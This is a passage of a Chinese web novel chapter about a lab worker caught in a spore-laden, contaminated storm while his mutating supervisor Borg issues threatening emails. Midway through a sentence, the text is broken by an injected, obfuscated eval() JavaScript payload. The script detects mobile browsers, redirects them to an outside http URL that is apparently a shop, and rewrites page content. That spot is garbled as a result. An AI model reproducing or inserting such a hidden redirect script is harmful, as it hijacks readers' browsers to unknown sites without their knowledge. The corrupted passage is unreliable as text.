请于收到本邮件后1小时内,通过实验室内部通讯系统(或回复此邮件)提交书面说明,详细阐述缺勤原因及相关证明材料(如医疗证明等)。 请注意,根据《安全区异能者管理条例》及《源实验室员工守则》,无正当理由缺勤可能导致以下后果: 1. 扣除当月全勤奖金及相应津贴。 2. 扣除当月基础贡献值积分100点。 3. 列入实验室内部观察名单。 4. 情节严重者,将上报安全区异能者管理中心,可能影响后续任务分配及居住权限评估。 请立即处理。 博格 异种生态研究组 - 项目主管 源实验室】 邮件的末尾,也只是有冷冰冰的职务和名字。 怎么办? 第一天上班就翘班?这理由能编吗? 外面这马上要降临的、裹挟着A+级污染的暴雨,算不算“正当理由”? 可博格会信吗? 这邮件里公事公办的冰冷措辞,怎么看都不像是会通融的样子。 扣除贡献值积分……那本来就不多的余额……列入观察名单……影响居住权…… “轰隆——!!!” 这时,一道闪电猛地劈下! 紧随其后的,是如同天河倒灌般的恐怖巨响! 倾盆的暴雨狠狠砸向大地!瞬间将整个世界吞没在无尽的灰绿之中! 29.第 29 章 与此同时,“源”实验室的核心区。 博格的办公室,与其说是办公室,不如说是一座由数据和冰冷合金构建的堡垒。 惨白的光线从头顶均匀洒下,墙壁上巨大的光屏分割成数十个窗口,实时跳动着实验室各个角落的动态、污染读数、能量图谱。 博格端坐在悬浮椅上,脊背挺得笔直,像一尊没有生命的雕塑。 邮件内容清晰地投射在屏幕上。 每一个公事公办的措辞,每一行冰冷的条例引用,此刻都像一根根烧红的针,反复刺穿着博格极力维持的理性外壳。 他的脸色此刻是一种近乎透明的青白,皮肤下的血管呈现出一种极其不健康的、类似植物根须的淡绿色纹路,正随着他胸腔的起伏若隐若现。 他的嘴唇抿成一条毫无血色的直线,微微颤抖着。 那双总是锐利、冷静、如同精密扫描仪般的灰色眼眸,此刻翻涌着一种难以言喻的混沌。 愤怒?是的,目标的无故缺勤打乱了他精心设定的“缠枝”能量场测试计划。 作为项目主管,秩序被破坏理应让他不悦。 但此刻在他胸腔里沸腾的,远不止于此。 那是一种……被背叛的狂躁。 一种精心准备的“盛宴”被意外缺席的焦灼。 一种……所有物脱离掌控的、近乎本能的暴怒。 “砰!” 一声闷响。 博格的手掌狠狠拍在操作台上,力度之大,震得桌面上一只装着淡绿色液体的试管跳了起来,滚落到边缘,被一只突然伸过来的手稳稳接住。 那只手修长、骨节分明。 怀景不知何时出现在了办公室门口,悄无声息。 他斜倚着门框,双手插在研究服的口袋里,姿态闲适。 “博格教授,”怀景开口,“你的情绪波动似乎……超出了阈值。需要医疗干预吗?” 他晃了晃手中的试管。 博格猛地站起身,几步冲到怀景面前,两人之间的距离瞬间缩短到不足半米。 博格身上那股原本若有若无的、令人沉醉的花香骤然变得浓烈而刺鼻,带着一种令人作呕的甜腻感,仿佛瞬间盛放的、带着腐败气息的巨花。 “他应该在这里!现在!立刻!”博格很少如此不冷静,“他的存在,他的能量,对项目至关重要!对……对‘缠枝’的稳定至关重要!没有他,今天下午的能量场校准就会失败!那些该死的、躁动的分支……” 怀景的眉头几不可察地蹙了一下。 这味道……与他记忆里“缠枝”的纯粹气息相比,更像是……某种拙劣的模仿? 带着强烈的、失控的繁殖欲念? 他后退了半步,巧妙地拉开距离,同时避开了博格失控的唾沫。 他的表情依旧平静,但那双深不见底的黑眸深处,第一次清晰地掠过一丝……厌恶? “博格,”怀景的声音冷了下来,不再使用敬语,“方叙白是我生态研究组准备接收的对象。他对我的项目,尤其是C-299号样本的后续观测,同样具有不可替代的价值。” 他强调着“我的项目”,“他的缺席,打乱的是整个实验室的协同进度,而不仅仅是你一个人的‘缠枝’。况且……” 怀景的目光扫过博格脖颈上蠕动的绿色脉络,嘴角勾起一个几近嘲讽的弧度:“你现在的状态,确定还能精准主持需要高度精神稳定的能量场测试吗?‘缠枝’的残留核心对宿主的精神污染,似乎比我们预估的……更具侵略性?” “你懂什么?!”博格像是被戳中了最隐秘的痛点,声音陡然拔高,“‘缠枝’是完美的!它的力量是纯粹的!是你们这些庸才无法理解的!我需要方叙白!他的能量是钥匙!是……” 就在这时—— “轰隆——!!!” 闪电撕裂了灰暗天幕,将室内映照得一片诡异。 紧随其后的,是震耳欲聋的雷鸣,以及……如同天河倒灌般的、粘稠雨声。 “哗——!!!” 如同亿万只湿滑的软体生物,密密麻麻地从高空坠落,狠狠拍打在大地上、建筑上发出的、令人头皮发麻的粘腻声响。 实验室的恒温系统发出了过载的细微嗡鸣。 雨,真的来了。 怀景的瞳孔骤然收缩。 雨幕彻底笼罩世界的瞬间,一股难以言喻的气味,如同无形的巨浪,蛮横地钻入了他的鼻腔! 那是一种……极度浓郁的、混合了甜腻花香与强烈生殖刺激的、令人作呕的腥气! 是花粉! 不,不仅仅是花粉! 是无数成熟花粉囊在暴雨的冲击下瞬间爆裂,释放出的、饱含着极致繁衍欲望的孢子! 它们在雨中弥漫、扩散,每一粒微小的孢子都在疯狂地释放着信息素:“授粉!繁殖!孕育!扩张!” 这味道……如此熟悉。怀景的身体猛地一僵。 他几乎能想象出外面那幅地狱般的景象:被“缠枝”力量深度污染的植物园里,那些形态扭曲的“花朵”在暴雨中疯狂摇曳,裂开狰狞的口器,喷吐出亿万颗墨绿色的孢子,混合着雨水,如同瘟疫般席卷整个安全区! “唔……”怀景的喉结剧烈地滚动了一下,强行压下那股从胃里翻涌上来的强烈呕吐欲。 他垂在身侧的手瞬间攥紧成拳。 【该死的人类躯体!】 一个冰冷、暴戾、充满厌恶的念头在他意识核心炸开。 【脆弱的感官!低级的神经反射!竟然会被这种……这种原始、粗暴、充满排泄物暗示的信息素冲击到失控边缘?!】 怀景在心里疯狂咆哮。 作为诺卡斯本体意志的延伸,他本质是高度聚合的能量粘稠体,拥有近乎完美的物理可塑性和环境适应力。 他的感知远超人类,可以解析最细微的能量波动,可以无视大多数物理伤害。 唯独这具为了融入人类社会而精心塑造的、基于人类生理模板的躯壳,成了此刻最大的桎梏! 这具身体拥有嗅觉神经,拥有与嗅觉相连的情绪中枢和记忆区。 当那代表着“缠枝”最核心欲望……无休止的繁殖与扩张的孢子腥气涌入,这具身体的本能反应就是强烈的排斥和恶心! 【脆弱!低效!拖累!】 怀景的思维核心被这突如其来的生理反应搅得一片混乱,对“人类”这一存在的蔑视和厌恶达到了顶峰。 他必须花费巨大的意志力,才能压下这具身体想要干呕、想要逃离的冲动,才能维持住脸上那副平静的表情。 而他对面的博格,反应则截然相反。 混合着孢子腥气的暴雨气息涌入办公室,博格脸上的狂怒和青白瞬间褪去。 取而代之的是一种……近乎迷醉的恍惚。 他深深地、贪婪地吸了一口气,仿佛那不是令人作呕的腥气,而是世间最甘美的琼浆。 他脖颈上、脸颊上那些墨绿色的纹路骤然亮起,如同获得了生命般微微蠕动,颜色变得更深、更亮,仿佛在吸收着空气中的某种能量。他混沌的灰色眼眸里,瞬间被一种狂热的光芒填满。 “你闻到了吗?怀景……”博格的声音变得飘忽,带着一种奇异的颤抖,“多么……纯粹的力量!多么……磅礴的生机!它在呼唤!它在苏醒!它需要……它需要‘母亲’的抚慰!方叙白……他必须来!他必须立刻回到这里!” 博格像是着了魔,完全无视了怀景的存在,踉跄着,朝着外面那瓢泼的、散发着致命诱惑的雨幕走去。 怀景没有阻拦。 他只是冷冷地看着博格失魂落魄的背影消失在门外的走廊,像在看一具行走的培养基。 他的注意力,被另一件事牢牢抓住。 就在博格离开办公桌的瞬间,怀景眼角的余光敏锐地捕捉到,博格操作台上,屏幕……光影似乎极其轻微地晃动了一下。 极其短暂,如同信号不良的闪烁。 但怀景看得真切。 异变只持续了不到零点一秒。 但怀景的瞳孔深处,银色的光芒一闪而逝。 【果然……】 一个冰冷的念头在他心中浮现。 【那截被偷走的残骸……已经彻底激活了残留的本能。它在……模仿?它在……操控?它在……寻找……】 而此刻…… “嗡——嗡——” 方叙白口袋里的手机,再次疯狂震动起来! 超市里,混乱已升级为恐慌。 人们尖叫着推搡,试图抢购最后的物资或夺门而出,又被门外那如同墨绿色瀑布般倾泻的恐怖雨势吓退。 货架被撞倒,商品散落一地。 方叙白被混乱的人流裹挟着,几乎站不稳。 他死死护住装着无菌纱布和纯净水的袋子。 手机在口袋里疯狂震动,如同催命符。 斯莱瑟暗红色的蛇尾如同最灵活的钢鞭,瞬间扫开挤到方叙白身边的几个人,硬生生清出一小块空间,将他护在自己怀里。 “别管他们!怎么了?”斯莱瑟的声音带着蛇类的嘶嘶尾音,红瞳警惕地扫视四周,如同护食的野兽。 方叙白脸色苍白,颤抖着拿出手机。又是一封邮件!发件人依旧是:【博格…】 他点开。 内容比上一封更加简短,却透着刺骨的寒意: 【发件人:博格 收件人:方叙白 主题:最终通牒 方叙白: 无视警告,后果自负。 30分钟内,抵达实验室(坐标:X-11, Y-26,核心收容区B11入口)。 逾期未至,视为自动放弃职位及安全区庇护资格。 后果包括:即时解雇、贡献值账户冻结、居住权注销、强制驱逐至污染区。 倒计时开始。 ——博格(源实验室)】 “操!”方叙白忍不住爆了粗口,手机差点脱手。 账户冻结?居住权注销?驱逐?! 这根本不是警告,这是赤裸裸的死亡宣告!博格疯了! 在这种S级暴雨下,让他30分钟穿越半个安全区去实验室?! 这怎么可能? “妈的!那个叫博格的杂碎!”斯莱瑟也看到了邮件内容,瞳孔瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306314|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩成危险的竖线,周身散发出冰冷的杀意。 他一把抢过方叙白的手机,狠狠按灭屏幕,塞回他口袋。 “别理他!这种天气出去就是找死!他敢冻你的账户?敢驱逐你?老子先去把他撕碎了喂污染物!” “不行!”方叙白一把抓住斯莱瑟的手腕,冰凉的鳞片触感让他稍微冷静了一点,但声音依旧带着恐惧的颤抖。 “他代表实验室!代表安全区规则!硬抗没有用!而且……而且邮件里说的坐标……” 他回想起邮件里那个精确到核心收容区的坐标,一股寒意从脊椎直冲头顶。 这邮件……不对劲! “我们得去!”方叙白咬着牙,做出了一个近乎疯狂的决定。 “但不是去送死!斯莱瑟,帮我!我们……冲出去!去实验室!” 斯莱瑟愣住了,红瞳死死盯着方叙白苍白但决绝的脸。 几秒钟后,他猛地一点头:“好!我护着你!我倒要看看,那个博格到底是个什么东西!” 斯莱瑟锐利的目光扫过混乱的超市入口。 那里堆放着几把应急用的长柄雨伞。 他蛇尾一甩,精准地卷起一把看起来最结实的黑色大伞,塞到方叙白手里。“拿着!跟紧我!” 他自己则不需要这种东西,蛇类对雨水有天生的亲和力,虽然这味道让他极度不适。 “走!”斯莱瑟暗红色的蛇尾猛地在地面一蹬,整个人如同炮弹般朝着超市大门冲去! 方叙白死死攥紧伞柄,紧跟其后。 “砰!” 超市的玻璃门被斯莱瑟硬生生撞开! 粘稠墨绿色的、散发着强烈孢子腥气的暴雨,如同亿万只冰冷湿滑的触手,瞬间将他们彻底吞没! “呃啊!”方叙白闷哼一声,刺骨的寒意和那浓烈到极致的腥味让他瞬间窒息。 他本能地撑开那把黑色大伞,伞面立刻发出密集的、如同冰雹砸落的“啪啪”声,沉重得几乎让他脱手。 雨水不是清澈的,而是浑浊的墨绿色,砸在地上溅起的不是水花,而是粘稠的、如同微小生物般的绿色泡沫。 斯莱瑟冲在前面,蛇尾在湿滑的地面上快速滑行,如同最灵活的舵,破开雨幕。 雨水落在他裸露的皮肤和鳞片上,发出“滋滋”的轻微声响,仿佛带着微弱的腐蚀性。 他皱着眉,强忍着那股深入骨髓的恶心感。 这雨里饱含的“缠枝”孢子信息素,比在实验室里闻到的还要强烈百倍!像无数只充满繁殖欲望的微小触手,疯狂地试图钻进他的鳞片缝隙! 方叙白紧随斯莱瑟身后,伞为他勉强撑开了一小片相对干燥的空间。 但他的感官却在这片“安全区”内,遭遇了前所未有的冲击。 透过伞面边缘疯狂流淌的墨绿色雨帘,他看向四周。狂风卷着雨水,扭曲了街道的景象。 那些模糊的建筑轮廓,那些在狂风中摇曳的街灯黑影……在方叙白高度紧张的视野里,开始发生诡异的畸变。 它们不再只是冰冷的钢筋水泥和金属灯柱。 它们……仿佛活了过来! 雨水冲刷着墙壁,留下的不是水痕,而是无数细密蠕动的、墨绿色的、仿佛拥有生命的……绒毛?如同某种巨大植物茎秆上覆盖的苔藓藓,又像是……亿万颗正在疯狂萌发的孢子菌丝! 那些在狂风中剧烈摇摆的、广告牌的金属支架……它们扭曲的姿态,不再仅仅是风的杰作。在方叙白眼中,它们仿佛变成了……一根根巨大无比、从雨幕深处垂落的、布满了湿滑绒毛的……花蕊?或者……某种未知巨型节肢类生物的触须? 每一次闪电划破天空,惨绿的光芒短暂照亮世界。方叙白都能清晰地“看到”,那倾泻而下的、粘稠的雨滴,每一滴里面……都似乎包裹着无数细小的、正在疯狂蠕动、试图破壁而出的……绿色芽点?如同……等待授粉的花粉囊? 这不是他之前想象过的任何触手或粘液怪物的景象。 这次是……花枝! 无穷无尽、遮天蔽日的、由墨绿色雨水构成的、疯狂蠕动着的巨大花枝! 花枝上覆盖着密密麻麻、令人头皮炸裂的……绒毛!那些绒毛在雨中疯狂摇曳、伸展、捕捉着空气中弥漫的孢子腥气,传递着最原始的繁殖信号! 方叙白喉咙里发出一声意义不明的抽气,胃里翻江倒海。 他死死抓住伞柄,指关节因为过度用力而发白。 “方叙白!低头!” 方叙白下意识地猛一低头! “轰!” 一道被狂风折断的巨大广告牌金属架,裹挟着万钧之力,狠狠砸在他刚才站立的位置! 金属撕裂空气的尖啸声令人牙酸! 斯莱瑟的蛇尾如同闪电般卷住方叙白的腰,将他狠狠拉向自己身边,险之又险地避开了这致命一击。 无数根灰绿色的、长满了细密绒毛的花枝!如同亿万条细长的、带着尖刺的昆虫节肢! 那些绒毛在狂风中疯狂舞动、震颤! 【母亲!】 【交给我!】 【把……繁衍的……权柄……交给我!】